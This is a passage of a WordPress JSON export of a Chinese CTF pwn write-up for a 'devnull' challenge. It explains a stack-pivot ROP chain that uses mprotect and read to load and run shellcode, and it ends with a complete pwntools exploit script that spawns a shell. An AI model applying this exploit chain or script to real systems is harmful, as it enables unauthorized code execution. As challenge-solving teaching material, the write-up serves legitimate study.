&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;read<\/code><\/pre>\n\n\n\n<p>\u4f60\u4f1a\u53d1\u73b0rdi\u7531[rbp-0x20]\u63a7\u5236\uff0crsi\u7531[rbp-0x8]\u63a7\u5236\uff0c\u56e0\u6b64\uff0c\u6211\u8981\u627e\u5230\u4e00\u4e2a\u5408\u9002\u7684rbp\u4f4d\u7f6e\u6ee1\u8db3\u4e0a\u9762\u7684\u8981\u6c42\uff0c\u6240\u4ee5\u4f60\u4f1a\u53d1\u73b0\u5982\u679c\u628arbp\u6307\u54110x3ff030\u521a\u597d\u6ee1\u8db3\uff0c\u7531\u6b64\u6211\u53c8\u4e00\u6b21\u6210\u529f\u8c03\u7528\u4e86read\uff080\uff0c0x3ff000\uff0c0x60\uff09\uff0c\u8fd9\u4e00\u6b21\uff0c\u6211\u53ea\u9700\u8981read shellcode\uff0c\u5728shellcode\u4e4b\u540e\u52a0\u4e0a\u8fd4\u56de\u5730\u57400x3ff000\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u6211\u7684payload3\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload3=p64(writeableaddr+0x40)+p64(gadget2)+3*p64(0)+p64(writeableaddr)+3*p64(0)+p64(gadget3)+p64(writeableaddr+0x30)+p64(gadget5)<\/code><\/pre>\n\n\n\n<p>\u5728\u6267\u884c\u5b8cpayload3\u4e4b\u540e\u8c03\u7528read\uff0c\u8bfb\u5165payload4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shellcode=asm(shellcraft.sh())\npayload4=shellcode+6*p64(writeableaddr)<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u4e00\u4e2a6*p64(writeableaddr)\u7701\u53bb\u601d\u8003\u7684\u70e6\u607c\uff0c\u56e0\u4e3ashellcode\u603b\u957f0x30\u4e2a\u5b57\u8282\uff0c\u6240\u4ee5\u540e\u9762\u7684\u5168\u586b\u8fd4\u56de\u5730\u5740\uff0c\u603b\u6709\u4e00\u4e2a\u5bf9\u3002<\/p>\n\n\n\n<p>\u6700\u540e\u6709\u4e00\u70b9\uff1a\u9700\u8981\u5728cat flag\u4e4b\u524d\u5148\u8f93\u5165\u201cexec 1&gt;&amp;2\u201d\uff0c\u4e5f\u53ef\u4ee5\u628a\u5b83\u653e\u5728\u811a\u672c\u4e2dsendline\uff0c\u4f46\u662f\u5177\u4f53\u539f\u56e0\u6211\u8fd8\u6ca1\u5b8c\u5168\u5f04\u6e05\u3002<\/p>\n\n\n\n<p>\u8bfb\u5230\u8fd9\uff0c\u4f60\u53ef\u80fd\u4f1a\u95ee\uff0c\u4e3a\u4ec0\u4e480x3ff000\u7684\u4f4d\u7f6e\u8981\u6307\u54110x3ff040\u5462\uff1f\u522b\u7684\u4f4d\u7f6e\u4e0d\u53ef\u4ee5\u5417\uff1f\u5176\u5b9e\u6211\u770b\u8fc7\u522b\u7684\u5e08\u5085\u7684exp\uff0c\u6709\u4eba\u4e5f\u5c06\u8fd9\u4e2a\u503c\u6307\u5411\u4e860x3ff028\uff0c\u6700\u7ec8\u4e5f\u80fdgetshell\uff0c\u4f46\u662f\u5177\u4f53\u539f\u7406\u6211\u5e76\u6ca1\u6709\u592a\u770b\u61c2\uff0c\u4f46\u81f3\u5c11\u6211\u77e5\u9053\u6211\u8fd9\u4e2a\u4e3a\u4ec0\u4e48\u8981\u6307\u54110x3ff040\uff0c\u8bf7\u63a5\u7740\u5f80\u4e0b\u770b\u3002<\/p>\n\n\n\n<p>\u4e00\u5f00\u59cb\u6211\u5176\u5b9e\u8fd8\u6784\u9020\u8fc7\u8fd9\u6837\u7684\u4e00\u4e2a\u6808\u5e27\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"347\" height=\"352\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-35\"  sizes=\"(max-width: 347px) 100vw, 347px\" \/><\/div><\/figure>\n\n\n\n<p>\u4eff\u7167\u4e0a\u9762\u7684\u601d\u8def\uff0ccall mprotect\u4e4b\u524d\u7684\u90e8\u5206\u5b8c\u5168\u4e00\u6837\uff0c\u5728call\u5b8cmprotect\u4e4b\u540e\uff0c\u63a5\u4e0b\u6765\u5e94\u8be5\u8981pop rbp\uff0c\u90a3\u4e48\u6b64\u65f6\u6211\u8ba9\u65b0rbp\u6307\u54110x3ff018\uff0c\u63a5\u4e0b\u6765\u5e94\u8be5\u8981\u6267\u884cread\uff0c\u53bb\u770b\u4e00\u4e0b[rbp-0x8]\u7684\u4f4d\u7f6e\uff0c\u53d1\u73b0\u662f\u6211\u60f3\u8981\u76840x3ff000\uff0c\u518d\u53bb\u770b\u4e00\u4e0b[rbp-0x20]\u7684\u4f4d\u7f6e\uff0c\u5728\u8fd9\u4e2a\u56fe\u4e2d\u6ca1\u663e\u793a\u51fa\u6765\uff0c\u4f46\u8fd9\u4e2a\u4f4d\u7f6e\u5176\u5b9e\u5c31\u662f0\uff0c\u53ef\u4ee5\u81ea\u5df1\u5230ida\u91cc\u53bb\u770b\u4e00\u770b\u3002\u56e0\u6b64read\u7684\u53c2\u6570\u8bbe\u7f6e\u4e5f\u6ca1\u95ee\u9898\uff0c\u6700\u7ec8\u7ecf\u8fc7\u6d4b\u8bd5\u4e5f\u786e\u5b9e\u6210\u529f\u8bfb\u5165\u4e86shellcode\u3002<\/p>\n\n\n\n<p>\u4f46\u662f\u63a5\u4e0b\u6765\u7684\u95ee\u9898\u5c31\u53d8\u5f97\u5341\u5206\u5341\u5206\u62bd\u8c61\u4e86\uff0c\u8fd9\u4e5f\u662f\u6211\u5728\u9010\u6b65\u8c03\u8bd5\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u7684bug\u3002\u4ee5\u4e0a\u8fd9\u4e2a\u6808\u5e27\u5728read shellcode\u4e4b\u540e\uff0crsp\u6307\u5411\u7684\u4f4d\u7f6e\u4e3a0x3ff048\uff0cshellcode\u7684\u672b\u5c3e\u4f4d\u7f6e\u662f0x3ff030\u3002\u7136\u800c\uff01\u7136\u800c\uff01\u7136\u800c\uff01shellcode\u5728\u6267\u884c\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u6709\u5f88\u591apush\u547d\u4ee4\uff0c\u8fd9\u4e9bpush\u547d\u4ee4\u524d\u51e0\u4e2a\u5230\u65e0\u4f24\u5927\u96c5\uff0c\u53ef\u662f\u540e\u9762\u7684push\u547d\u4ee4\u4f1a\u628ashellcode\u9760\u540e\u7684\u90e8\u5206\u7ed9\u590d\u5199\u6389\uff01\u6240\u4ee5shellcode\u81ea\u5df1\u628a\u81ea\u5df1\u7834\u574f\u4e86\uff0c\u6240\u4ee5\u6ca1\u6cd5\u6210\u529f\u8c03\u7528\u3002\u7ecf\u8fc7\u8c03\u8bd5\uff0c\u53d1\u73b0rsp\u4e00\u5f00\u59cb\u5982\u679c\u53ea\u54110x3ff060\u5c31\u53ef\u4ee5\u5b89\u5168\u8c03\u7528\uff0c\u6240\u4ee5\u624d\u6709\u4e86\u4fee\u6539\u540e\u7684\u6808\u5e27\u3002<\/p>\n\n\n\n<p>\u5728\u6b64\u4e4b\u524d\u8fd8\u6709\u597d\u51e0\u4e2a\u6808\u5e27\u662f\u56e0\u4e3a\u6ca1\u6709\u6ce8\u610fgadget\u91cc\u9762\u7684leave\u6216\u8005pop\u6307\u4ee4\u5bfc\u81f4rbp\u4e71\u6307\uff0c\u8fd9\u91cc\u4e0d\u591a\u8d58\u8ff0\u4e86\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%B8%89%E5%AE%8C%E6%95%B4exp\"><\/span><strong>\u4e09.\u5b8c\u6574exp<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.log_level = 'debug'\ncontext.arch = 'amd64'\np=process('.\/devnull')\n# p=remote('node4.anna.nssctf.cn',28320)\nelf = ELF('.\/devnull')\np.recvuntil(b'please input your filename\\n')\ngadget1=0x4014f7  #\u628aedx\u7f6e\u4e3a7\uff0cleave ret\ngadget2=0x401350  #mov eax &#91;rbp-0x18]\n                  #leave\n                  #ret\ngadget3=0x4012d0  #\u628aesi\u7f6e\u4e3a0x1000\uff0cedi\u7f6e\u4e3aeax\uff0c\u7136\u540ecall mprotect\uff0cpop rbp\uff0cret\ngadget4=0x401354  #leave ret\ngadget5=0x4014ce  #\u6267\u884cread(0,bss,0x60)\npayload1=0x1f*b'a'\np.sendline(payload1)\n\np.recvuntil(b'Please write the data you want to discard\\n')\nbss=0x404040\nwriteableaddr=0x3FF000\npayload2=b'a'*0x14+p64(writeableaddr)+p64(writeableaddr)+p64(gadget4)#\u56e0\u4e3abss\u6bb5\u5728\u7ecf\u8fc7mprotect\u4e4b\u540e\u88ab\u8bbe\u7f6e\u6210\u4e86\u53ea\u8bfb\uff0c\n                                                               #\u6240\u4ee5\u53ea\u80fd\u53e6\u627e\u4e00\u6bb5\u4f4d\u7f6e\uff0c\u4f46\u73b0\u5728\u8fd8\u662f\u53ea\u8bfb\uff0c\u6240\u4ee5\u51c6\u5907\u5f00\u59cb\u7ad9\u8fc1\u79fb\n#payload2=b'a'*0x14+p64(bss)+p64(0)+p64(bss)\n\np.send(payload2)\np.recvuntil(b'please input your new data\\n')\n\nshellcode=asm(shellcraft.sh())\n# print(shellcode)\n# payload3=p64(writeableaddr+0x28)+p64(gadget2)+p64(writeableaddr)+2*p64(0)+p64(0)+p64(gadget3)+p64(writeableaddr+0x18)+p64(gadget5)#\u56e0\u4e3aread\u957f\u5ea6\u6709\u9650\uff0c\u6240\u4ee5\u7b2c\u4e00\u6b21\u5148\u4fee\u6539\u6743\u9650\npayload3=p64(writeableaddr+0x40)+p64(gadget2)+3*p64(0)+p64(writeableaddr)+3*p64(0)+p64(gadget3)+p64(writeableaddr+0x30)+p64(gadget5)\npayload4=shellcode+6*p64(writeableaddr)\nattach(p)\npause()\np.send(payload3)\np.sendline(payload4)\np.sendline(b\"exec 1&gt;&amp;2\")\np.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00.\u601d\u8def\u5206\u6790 \u6839\u636e\u6c47\u7f16\u4ee3\u7801\u80fd\u591f\u7ed8\u5236\u51fa\u5982\u4e0b\u6808\u5e27\uff1a \u7b2c\u4e00\u6b21fgets(s, size_0x21, stdin);\u8fd9 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,12],"tags":[7],"class_list":["post-26","post","type-post","status-publish","format-standard","hentry","category-ctf","category-pwn","tag-7"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/26","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=26"}],"version-history":[{"count":7,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/26\/revisions"}],"predecessor-version":[{"id":63,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/26\/revisions\/63"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=26"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=26"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=26"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}